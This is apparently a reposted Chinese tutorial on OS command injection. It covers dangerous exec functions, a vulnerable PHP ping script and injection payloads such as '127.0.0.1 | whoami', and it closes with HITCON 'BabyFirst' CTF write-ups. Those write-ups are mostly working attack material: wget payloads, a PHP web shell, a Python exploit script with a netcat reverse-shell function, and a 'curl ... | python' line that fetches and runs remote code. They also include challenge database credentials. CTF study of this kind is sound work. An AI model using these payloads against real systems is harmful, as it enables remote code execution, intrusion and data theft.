大佬总结的文章,本篇文章阅读时间大约30分钟。
一 、基本原理
命令注入(Command Injection)
Eval 注入(Eval Injection)
客户端脚本攻击(Script Insertion)
跨网站脚本攻击(Cross Site Scripting, XSS)
SQL 注入攻击(SQL injection)
动态函数注入攻击(Dynamic Variable Evaluation)
序列化注入&对象注入
类似于
?url=php://input
postdata = <?php system('ls'); ?>
二:漏洞代码审计
(1)在PHP中常用到以下几个函数来执行外部命令:
system
exec
passthru
shell_exec
(2)python的:
-*-command:system\popen\subprocess.call\spawn
-*-code: map\filter\reduce\...
# python 函数名可以直接作为普通函数的参数的,理论上,如果定义了这样的函数都危险
def myreduce(funcname,param):
return funcname(param)
(3)java的:
-*-command:java.lang.Runtime.getRuntime().exec(command)
_*_code:不太懂java,这方面的接触实在不多。
所以接下来,要寻找哪个文件使用了这几个函数,并进行分析。
在代码审计中:我们先对函数名进行搜索
我们对函数名进行搜索,右键点击www目录,在弹出来的菜单上选择find in folder,这个是查找整个文件夹的意思,然后我们在下方弹出的框内输入第一个敏感函数:system,点击Find,这时,编辑器就会查找WWW目录下所有内容里面有system的文件。
exec
。exec
函数:&lt;?php
if( isset( $_POST[ 'submit' ] ) )
{
$target = $_POST[ 'target' ];
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = 'ping ' . $target;
} else {
$cmd = 'ping -c 3 ' . $target;
}
$res = shell_exec&#40; $cmd &#41;;
echo "<br /><pre>$cmd\r\n".iconv('GB2312', 'UTF- 8',$res)."</pre>";
}
?>
这段代码的功能是,使用ping命令,ping用户输入的ip。
接下来大概分析一下这段代码的大意:
首先通过isset函数判断是否为POST提交过来的值,接下来将POST过来的值传递给target变量,但是没有经过任何的过滤,接下来使用if判断系统是否为windows,如果是则给cmd赋值为ping target,如果不是则赋值为ping -c 3 target。最后使用shell_exec执行cmd。
我们从上面的代码中可以得到两点可能产生漏洞的地方:
POST过来的数据,没有经过任何的过滤。>* 使用shell_exec函数执行了我们传递过来的POST值。
这便是漏洞所在的地方,我们可以在ip后面添加|符,让它执行完ping命令后,继续执行我们在|符号后添加的字符,其中|:是or的意思,执行完ping命令,因为有|的存在,系统就会继续执行后面的命令。
三、漏洞挖掘:
2、特殊的OS命令注入经常会出现在的业务位置:
1、系统web管理界面的系统信息配置点:hostname、ipaddress、netmask、gateway、dnsserver、email等。
2、功能类网站工具:ping、tracert、nslookup等
3、文件查找或者操作功能:find、locate等
4、系统信息查看类功能:cpuinfo、meminfo等
5、关闭重启类操作、shutdown、ifconfig up、reboot、poweroff等
四、常用payload模式:
& 表示先执行CMD1 再执行CMD2,这里不考虑CMD1是否成功。使用CMD1 & CMD2
&& 表示先执行CMD1,成功后再执行CMD,否则不执行CMD2。使用CMD1 && CMD2
|| 先执行CMD1,CMD1执行成功就不再执行CMD2,CMD1执行失败则执行CMD2。使用CMD1 || CMD2
cmd = 127.0.0.1 | whoami
cmd = 127.0.0.1 & whoami
cmd = 127.0.0.1 && whoami
cmd = `whoami`
cmd = '/"|whoami(这里意思是用'/"引号闭合前面 /->表示或)
有回显的:whoami id(验证类)
没有回显的:nslookup wget 等看请求、dnslog httplog等 (验证类)
弹shell必须的,参考我自己的(http://www.cnblogs.com/KevinGeorge/p/8120226.html)
php的:检测phpinfo();攻击代码任意。
python的:import time;time.sleep(20),攻击代码任意。
java的:我是弱鸡想不到啊。
2018.8.5补充:
$() 会将里面的字符当做命令执行 支持使用一定的编码 echo $(print(xxxxxxx))
` ` 反引号中的也会当命令执 ping ‘whoami’
五、防御:
禁止相关函数
过滤输入
制定可输入内容
六、CTF 例题
1.Babyfirst
<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
http://localhost/
?args[0]=x%0a //%0a为换行的意思
&args[1]=mkdir
&args[2]=orange%0a //创建目录
&args[3]=cd
&args[4]=orange%0a //进入目录
&args[5]=wget
&args[6]=846465263%0a //获取文件
http://localhost/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=orange%0a //解压文件
&args[5]=php
&args[6]=aa //运行文件
//我们的需要是这样的
mkdir exploit
cd exploit
wget 92775836
tar cvf archived exploit
php archived
//"exploit"大概是这么样的 :
<?php
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);
?>
');
?>
2. BabyFirst Revenge
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>
echo\
"chy\
beta" //这是可以正常使用的
-t\
>q
a //这之前的命令虽然是错的,但不会影响
l\
s \
-t\
>q //实际输出的命令为 ls -t>q
综上,我们需要做的就是将命令写进文件,使用\来连接不同行,然后执行文件就可以。但是问题出现了,我们控制不了文件的顺序,使得写入文件时的顺序不会是按照我们想的顺序,如果能按照时间排序就很完美了,当然ls -t就是这个功能,我们需要把它写进一个文件里,方便接下来调用。
例如想要ls -t>g(我们将这个命令写入文件a),我们创建了ls\, ,-t\ ,>g\,我们有这四个文件了,调用命令ls>a 将目录写进a文件,发现...a里面的命令实际是乱的。
那么要求我们不需要考虑是否存在不可用命令,将创建的文件夹可以排成我们想要的顺序,看看大佬的顺序是如何弄的(环境不一样,可能结果不一样)
>-t\
>\>q
>l\
>s\ \
ls>a
ls>>a
ls>a之后 文件内容为
在ls>>a 得到的结果为
>*48
>173\
>077\
>\ 2\
>et\
>wg\
sh a
,注意文件a是我们第一阶段时生成的,其中包含命令ls -t>q
。运行完后查看新生成的文件q:sh q
就可以下载文件了。接下来,需要不断的进行探索flag的所在地。可以按照下述命令来实现命令的执行:?cmd=rm%20i* // 删除index.html
?cmd=sh%20a // 执行文件q,即wget新的index.html
?cmd=sh%20i* // 执行index.html中的shell命令
Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "show databases;" > kk5
// 访问:http://52.199.204.34/sandbox/对应md5/kk5, 得到:
Database
information_schema
fl4gdb
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "SELECT GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x666c34676462" > kk7
//访问:http://52.199.204.34/sandbox/对应md5/kk7, 得到:
GROUP_CONCAT(table_name)
this_is_the_fl4g
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e "(SELECT * FROM fl4gdb.this_is_the_fl4g" > kk9
//访问:http://52.199.204.34/sandbox/对应md5/kk9, 得到:
secret
hitcon{idea_from_phith0n,thank_you:)}
第二位大佬的作品
大佬使用的是xxd命令,通过创建命令的ascii码将其写入文件中,然后再执行。大佬采用的方法是几个几个的ascii通过>创建文件,然后通过ls>>y将y字符和ascii码追加到y文件中,每写进去一个之后就删除acsii文件,确保每次只追加y和ascii码。
然后的关键点是,创建参数文件>-p >-r 和目标文件>z,当我们使用xxd *命令是,会将-p -r文件当做参数,y当做源文件z当做目的文件,将y中的可acsii反向的数据反向之后持续的输出到z,实现了我们只保留原始acsii对应的字符,并去除多余的y的功能。大概的原理如下:例如打印hello
>4845 //ascii文件
ls>>y //追加到y
rm 4* //删除ascii文件
>4c4c //以上的不断重复
ls>>y
rm 4*
>4f
ls>>y
rm 4* //到此为止 y中的内容为
4845.y.4c4c.y.4f.y. 这里使用.表示换行
>z //创建目标文件
>-p //创建参数文件
>-r //目录下排序为 -p -r y z
xxd * //相当于执行 xxd -p -r y z
//将y中的可acsii反向的数据反向之后持续的输出到z 即为hello 中间的没用的都被去除了
cat\
flag\
.txt\
mkfifo f; nc <host> <port> <f | bash >f 2>f
import requests as rq
import hashlib as h
import binascii as ba
url = "http://52.199.204.34/"
ipify = "https://api.ipify.org"
def get_ip():
r = rq.get(ipify)
return r.text
folder = h.md5(b"orange" + get_ip().encode()).hexdigest()
def reset():
rq.get(url, params = {
"reset": 1
})
def cmd(c):
rq.get(url, params = {
"cmd": c
})
def read(f):
r = rq.get(url + "sandbox/" + folder + "/" + f)
if r.status_code == 200:
return r.text
def long_cmd(cmd_text):
reset()
cmd_bytes = cmd_text.encode()
for i in range(0, len(cmd_bytes), 2):
cur_bytes = cmd_bytes[i:i + 2]
print("writing '{}'".format(cur_bytes.decode()))
hex_chars = ba.hexlify(cur_bytes).decode()
cmd(">" + hex_chars)
cmd("ls>>y")
cmd("rm " + hex_chars[0] + "*")
cmd(">z")
cmd(">-p")
cmd(">-r")
cmd("xxd *")
cmd("sh z")
return read("o")
def shell(cmd_text):
print(long_cmd(cmd_text))
def rshell(host, port):
long_cmd("mkfifo f; nc {} {} <f | bash >f 2>f".format(host, port))
Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr
$ mysql -ufl4444g -pSugZXUtgeJ52_Bvr
mysql> SHOW DATABASES;
Database
information_schema
fl4gdb
mysql> use fl4gdb;
SHOW TABLES;
Tables_in_fl4gdb
this_is_the_fl4g
mysql> SELECT * FROM this_is_the_fl4g;
secret
hitcon{idea_from_phith0n,thank_you:)}
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>
对于上边大佬写的感觉没有影响,一个一个弄就好了
--------------------------------未整理-------------------------------
4·命令执行的一些trick
1.>NAME 我们可以创建新的文件
2.ls>name 我们可以吧目录按顺序写入文件
3.\可以用来衔接多行中的命令(一行一部分,多行拼凑)
4.命令 * 可以将目录下的文件当做参数,注意文件顺序
5.关于反弹shell什么的,还需要多加学习,liunx命令也要知道些
6.一些稀奇古怪的命令和用法
4个trick思路加上重定向和反弹shell知识
trick1 命令组装 dir a b >c
trick2 通配符的妙用 *v=rev v
trick3 按时间顺序排列文件 ls -t
trick4 命令续行
curl orang.pw|python 通过url下载orange中的文件,使用python执行,就可以反弹shell
详细的trick介绍请点击连接
https://www.freebuf.com/articles/web/154453.html 因为原文是禁止转载 请跳转查看 还是挺深奥的
————————————————
版权声明:本文为CSDN博主「iamsongyu」的原创文章:原文链接:https://blog.csdn.net/iamsongyu/article/details/84483638
--------------------------------未整理-------------------------------
参考 https://www.cnblogs.com/KevinGeorge/p/8232430.html
https://blog.csdn.net/kuiguowei/article/details/79045215?utm_source=blogxgwz9
侵权请私聊公众号删文
热文推荐